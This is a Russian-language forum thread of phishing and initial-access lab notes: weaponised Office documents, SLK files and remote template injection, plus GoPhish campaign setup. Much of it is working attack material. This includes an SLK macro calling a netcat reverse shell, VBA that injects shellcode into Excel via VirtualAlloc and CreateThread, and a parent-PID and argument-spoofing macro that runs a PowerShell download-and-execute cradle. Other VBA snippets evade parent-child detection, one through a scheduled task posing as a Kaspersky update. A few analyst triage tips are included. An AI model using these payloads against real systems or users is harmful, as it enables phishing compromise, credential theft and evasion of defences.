Как и в Для просмотра ссылки Войди или Зарегистрируйся, вы можете использовать элементарные инструменты на рабочей станции Windows для быстрой сортировки подозрительных документов Office. Прежде всего, переименуйте файл в расширение .zip и разархивируйте его. Затем вы можете перейти к word\embeddings и найти файл oleObject.bin, содержащий вредоносный .lnk:

1668018583805.png



Затем вы можете сделать простые строки или шестнадцатеричный дамп файла, и вы должны сразу увидеть признаки чего-то, что должно вызвать у вас удивление:

hexdump.exe -C .\oleObject1.bin

1668018605619.png



Аналитику следует искать CLSID 00021401-0000-0000-c000-000000000046 в файле .bin, что означает, что .doc содержит встроенный файл .lnk. В нашем случае это можно наблюдать здесь:

1668018624431.png
 
Фишинг: встроенный Internet Explorer


Выполнение кода со встроенным объектом Internet Explorer


В этой фишинговой лаборатории я просто играю с POC, исследованными, закодированными и описанными Йориком Костером в его сообщении в блоге. (Для просмотра ссылки Войди или Зарегистрируйся)


Исполнение

1668018779055.png



Наблюдения

1668018791144.png



Как и в случае с другими фишинговыми документами, мы можем разархивировать .docx и выполнить простой hexdump/strings в oleObject1.bin, чтобы найти любые подозрительные строки, относящиеся к какому-либо выполнению файла/кода:

1668018803191.png



Объект CLSID, обеспечивающий работу этого метода, представляет собой объект Shell.Explorer.1, как показано здесь:

Get-ChildItem 'registry::HKEY_CLASSES_ROOT\CLSID\{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}'

1668018821500.png



Как аналитик, следует проверить файл .bin и найти внутри байты {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}, указывающие на то, что объект Shell.Explorer.1 встроен в файл .bin:

1668018830303.png
 
Фишинг: .SLK Excel

Эта лабораторная работа основана на работах, сделанных @StanHacked — дополнительную информацию см. в ссылках ниже. (Для просмотра ссылки Войди или Зарегистрируйся)

Вооружение

Создайте новый текстовый файл, поместите приведенный ниже код и сохраните его как файл .slk:

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E

1668018967866.png



Обратите внимание, что shell.cmd относится к простому пакетному файлу обратной оболочки nc:

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Исполнение


Как только предупреждение о макросе будет отклонено, обратная оболочка появится, как и ожидалось:

1668018986048.png



Поскольку файл на самом деле представляет собой обычный текстовый файл, обнаружение/сортировка вредоносных намерений упрощается.

Бонус

Обратите внимание, что файл полезной нагрузки можно сохранить в формате .csv, однако обратите внимание на дополнительное предупреждение:

1668018999518.png
 
Фишинг: замена встроенного видео поддельной полезной нагрузкой

Вооружение


Создайте новый документ Word и перейдите в меню "Вставка" -> "Онлайн-видео":

1668019155232.png



Вставьте любое видео:

1668019164390.png



Сохраните документ:

1668019172113.png



Переименуйте .docx в .zip:

1668019181656.png



Откройте document.xml в любом редакторе кода:

1668019189272.png



Обратите внимание на атрибут embeddedHtml — в настоящее время в него встроен iframe YouTube:

1668019197100.png



Далее мы добавим нашу полезную нагрузку внутрь атрибута embeddedHtml непосредственно перед началом разметки iframe. Мы будем использовать полезную нагрузку из статьи:

Для просмотра ссылки Войди или Зарегистрируйся

Давайте HTML закодируем всю полезную нагрузку:

1668019242156.png



Поместим закодированную полезную нагрузку в самое начало атрибута embeddedHtml:

1668019255679.png



Снова заархивируйте все файлы и переименуйте архив обратно в .docx:

1668019264262.png



Исполнение

Откройте только что заблокированный документ и воспроизведите видео:

1668019274263.png



На данный момент, согласно Для просмотра ссылки Войди или Зарегистрируйся , должен был появиться запрос на загрузку полезной нагрузки, но по какой-то причине у меня этого не произошло:

1668019282633.png



Если бы вы смогли воспроизвести эту технику и увидеть, что я пропустил, я был бы признателен за любую обратную связь.
 
Вставка макросов из удаленного шаблона Dotm

Эта лаба показывает, как можно косвенно добавить полезную нагрузку макроса в файл docx, что имеет хорошие шансы избежать некоторых AV/EDR.

Эта техника работает следующим образом:

1. Вредоносный макрос сохраняется в файле .dotm шаблона Word.

2. Файл .docx создается на основе одного из стандартных шаблонов документов MS Word.

3. Документ из шага 2 сохраняется как .docx

4. Документ из шага 3 переименовывается в .zip

5. Документ из шага 4 распаковывается.

6. \word_rels\settings.xml.rels содержит ссылку на файл шаблона. Эта ссылка заменяется ссылкой на наш вредоносный макрос, созданный на шаге 1. Файл может быть размещен на веб-сервере (http) или webdav (smb).

7. Файл снова архивируется и переименовывается в .docx.

8. Готово

Вооружение

Нажать Alt + F8, чтобы войти в режим разработки, где мы можем редактировать макросы, выберите ThisDocument и вставьте:

1668567541580.png



1668567572776.png


Создайте удобный файл .docx на основе одного из предоставленных шаблонов и сохраните его как .docx:

1668567605447.png



Переименуйте legit.docx в legit.zip:

1668567612890.png



Разархивируйте архив и отредактируйте word_rels\settings.xml.rels:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="Для просмотра ссылки Войди или Зарегистрируйся"><Relationship Id="rId1" Type="Для просмотра ссылки Войди или Зарегистрируйся" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>


Обратите внимание, что здесь указан целевой шаблон:

1668567713972.png



Загрузите шаблон, созданный ранее Doc3.dot, на сервер SMB (обратите внимание, что файл также может быть размещен на веб-сервере!).

Обновите word_rels\settings.xml.rels, чтобы он указывал на Doc3.dotm:

1668567724358.png



Заархивируйте все файлы легального архива и назовите его обратно в .docx — теперь у нас есть боевой документ:

1668567742300.png



Обратите внимание, что этот метод может использоваться для кражи хэшей NetNTLMv2, поскольку целевая система подключается к атакующей системе — там может прослушиваться ответчик.
 
Обход родительских и дочерних обнаружений / обнаружения предков

Защитники часто разрабатывают обнаружения, основанные на отношениях между родительскими и дочерними процессами, т. е. Excel порождает powershell — и это подозрительно.

Эта лабав основном основана на методах, обсуждаемых на Для просмотра ссылки Войди или Зарегистрируйся.

Ниже приведены некоторые методы, показывающие, как можно обойти обнаружение такого типа.

Порождаем через WmiPrvse.exe с помощью wmi

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("calc", Null, objConfig, intProcessID)


1668567946818.png



Порождаем через ShellCOM

Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0

Порождаем через svchost.exe с использованием XMLDOM


1668567965531.png



1668567971913.png



Порождаем через svchost.exe с использованием запланированного задания

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\cmd.exe"
'Action.Arguments = "/c whoami"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)


1668567987759.png



Внедрение шелл-кода в память Excel.exe с использованием Windows API

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long

Sub Auto_Open()
Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
Dim Xlbufvetp As LongPtr
#Else
Dim Xlbufvetp As Long
#EndIf
Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
Wyzayxya = Hyeyhafxp(Zolde)
Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
Next Zolde
Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub

1668568016816.png



1668568029154.png



Подмена идентификатора родительского процесса

С помощью этой техники можно указать PID, под которым будет запускаться наш процесс, а также можно подделать аргументы командной строки процесса. Обратите внимание, что это тот же метод, который Cobalt Strike использует в своем модуле argue :

' code from Для просмотра ссылки Войди или Зарегистрируйся
' Windows API constants

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
Const TH32CS_SNAPPROCESS = &H2&
Const MAX_PATH = 260


'''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''' Data types ''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''



Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type


Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type

Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type

' from Для просмотра ссылки Войди или Зарегистрируйся
Private Type PROCESS_BASIC_INFORMATION
ExitStatus As Long
PEBBaseAddress As Long
AffinityMask As Long
BasePriority As Long
UniqueProcessId As Long
ParentProcessId As Long
End Type


Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _
ByVal processHandle As LongPtr, _
ByVal processInformationClass As Long, _
ByRef processInformation As PROCESS_BASIC_INFORMATION, _
ByVal processInformationLength As Long, _
ByRef returnLength As Long _
) As Integer


' From Для просмотра ссылки Войди или Зарегистрируйся
Private Type PEB
Reserved1(1) As Byte
BeingDebugged As Byte
Reserved2 As Byte
Reserved3(1) As Long
Ldr As Long
ProcessParameters As Long
Reserved4(103) As Byte
Reserved5(51) As Long
PostProcessInitRoutine As Long
Reserved6(127) As Byte
Reserved7 As Long
SessionId As Long
End Type


Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
' to change ^ to Long
End Type

Private Type RTL_USER_PROCESS_PARAMETERS
Reserved1(15) As Byte
Reserved2(9) As Long
ImagePathName As UNICODE_STRING
CommandLine As UNICODE_STRING
End Type


Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type


'''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''' kernel32 & ntdll bindings '''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long


Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
ByVal dwAccess As Long, _
ByVal fInherit As Integer, _
ByVal hObject As Long _
) As Long


Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr


Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr


Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean


Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByRef lpValue As Long, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean

Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
ByVal dwFlags As Integer, _
ByVal th32ProcessID As Integer _
) As Long

Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean

Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
ByVal hSnapshot As LongPtr, _
ByRef lppe As PROCESSENTRY32 _
) As Boolean


Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As LongPtr, _
ByVal lpBuffer As LongPtr, _
ByVal nSize As Long, _
ByRef lpNumberOfBytesRead As Long _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByVal lpBuffer As Any, _
ByVal nSize As Long, _
ByRef lpNumberOfBytesWritten As Long _
) As Boolean


Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long


'''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''' Utility functions ''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''

' Finds the PID of a process given its name
Public Function getPidByName(ByVal name As String) As Integer
Dim pEntry As PROCESSENTRY32
Dim continueSearching As Boolean
pEntry.dwSize = Len(pEntry)
Dim snapshot As LongPtr

snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ByVal 0&)

continueSearching = Process32First(snapshot, pEntry)

Do
If Left$(pEntry.szexeFile, Len(name)) = LCase$(name) Then
getPidByName = pEntry.th32ProcessID
continueSearching = False
Else
continueSearching = Process32Next(snapshot, pEntry)
End If
Loop While continueSearching
End Function

Public Function convertStr(ByVal str As String) As Byte()
Dim i, j As Integer
Dim result(400) As Byte
j = 0
For i = 1 To Len(str):
result(j) = Asc(Mid(str, i, 1))
result(j + 1) = &H0
j = j + 2
Next

convertStr = result

End Function

Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim parentHandle As LongPtr
Dim originalCli As String

originalCli = "powershell.exe -NoExit -c Get-Service -DisplayName 'network' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName"

' Get a handle on the process to be used as a parent
pid = getPidByName("explorer.exe")
parentHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)

' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)

' Set the parent to be our previous handle
result = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, parentHandle, Len(parentHandle), ByVal 0&, ByVal 0&)

' Set the size of cb (see Для просмотра ссылки Войди или Зарегистрируйся)
si.STARTUPINFO.cb = LenB(si)

' Hide new process window
si.STARTUPINFO.dwFlags = 1
si.STARTUPINFO.wShowWindow = SW_HIDE

result = CreateProcess( _
nullStr, _
originalCli, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)

' Spoofing of cli arguments
Dim size As Long
Dim PEB As PEB
Dim pbi As PROCESS_BASIC_INFORMATION
Dim newProcessHandle As LongPtr
Dim success As Boolean
Dim parameters As RTL_USER_PROCESS_PARAMETERS
Dim cmdStr As String
Dim cmd() As Byte

newProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, False, pi.dwProcessId)
result = NtQueryInformationProcess(newProcessHandle, 0, pbi, Len(pbi), size)
success = ReadProcessMemory(newProcessHandle, pbi.PEBBaseAddress, VarPtr(PEB), Len(PEB), size)
' peb.ProcessParameters now contains the address to the parameters - read them
success = ReadProcessMemory(newProcessHandle, PEB.ProcessParameters, VarPtr(parameters), Len(parameters), size)

cmdStr = "powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('Для просмотра ссылки Войди или Зарегистрируйся')) # "
cmd = convertStr(cmdStr)
success = WriteProcessMemory(newProcessHandle, parameters.CommandLine.Buffer, StrPtr(cmd), 2 * Len(cmdStr), size)
ResumeThread (pi.hThread)
End Sub
 
Фишинг: встроенные HTML-формы

Выполнение кода со встроенными объектами форм HTML

В этой лабе я просто играю с POC, исследованными, закодированными и описанными Йориком Костером в его сообщении в блоге - (Для просмотра ссылки Войди или Зарегистрируйся)

Исполнение

1668568158276.png




Наблюдения

Эти типы фишинговых документов можно определить, найдя CLSID 5512D112-5CC6-11CF-8D67-00AA00BDCE1D во встроенных файлах .bin:

1668568172842.png



...а также внутри файла activeX1.xml:

1668568182863.png



Как обычно, следует исследовать приложения MS Office, порождающие cmd.exe или powershell.exe:

1668568192354.png
 
Фишинг с GoPhish и DigitalOcean

Эта лаба работа посвящена изучению одного из фишинговых фреймворков GoPhish. Я буду устанавливать и настраивать GoPhish на VPS DigitalOcean с дистрибутивом Ubuntu Linux.

Настройка среды

DigitalOcean VPS


Созданному мной дропу был назначен IP-адрес 68.183.113.176.

Заходим на VPS и устанавливаем агент доставки почты:

1668568351773.png



1668568359381.png



Укажите переменную mynetworks в конфигурации постфикса на IP-адрес, который мы получили в DigitalOcean:

1668568366415.png



1668568373355.png



Настройка DNS-зоны

Создайте почтовую запись A, указывающую на IP-адрес VPS, и запись MX, указывающую на mail.yourdomain:

1668568390270.png



Установите GoPhish

wget Для просмотра ссылки Войди или Зарегистрируйся
apt install unzip
unzip gophish-v0.7.1-linux-64bit.zip
chmod +x gophish

1668568407646.png



Исполнение


Запустить GoPhish просто:

1668568414387.png



1668568419935.png



Панель администрирования GoPhish по умолчанию привязана к 127.0.0.1:3333, поэтому мы можем либо изменить конфигурацию и изменить ее для прослушивания на 0.0.0.0 (все интерфейсы), если мы хотим получить доступ к панели администратора из Интернета, либо создать локальный SSH туннель, если мы хотим ограничить доступ только к локальной сети. Давайте сделаем SSH-туннель:

ssh root@68.183.113.176 -L3333:localhost:3333 -N -f


Теперь мы можем получить доступ к панели администратора GoPhish через Для просмотра ссылки Войди или Зарегистрируйся из нашего окна Kali. После создания групп пользователей (целей фишинга), целевых страниц (жертвы фишинговых страниц увидят, если они нажмут на наши фишинговые ссылки) и т. д., мы можем создать шаблон электронной почты — электронное письмо, которое будет отправлено ничего не подозревающим жертвам как часть фишинговой атаки кампании, которую мы создадим на следующем шаге:

1668568444124.png



Ниже приведена краткая демонстрация того, как создается новая кампания после того, как все остальные элементы, упомянутые выше, готовы (пользователи, шаблоны, целевые страницы):

1668568454450.png



Получение фиша

Ниже приведен фактический конечный результат нашей имитации фишинговой кампании:

1668568465145.png



URL-адрес, найденный в приведенном выше фишинговом письме, ведет пользователя на нашу фиктивную фишинговую страницу:

1668568472749.png



Результаты кампании

Перейдя в раздел Campaigns панели администратора, мы можем увидеть, сколько писем было отправлено в рамках кампании, сколько из них было открыто и сколько раз был нажат фишинговый URL:

1668568482532.png
 
Activity
So far there's no one here
Сверху Снизу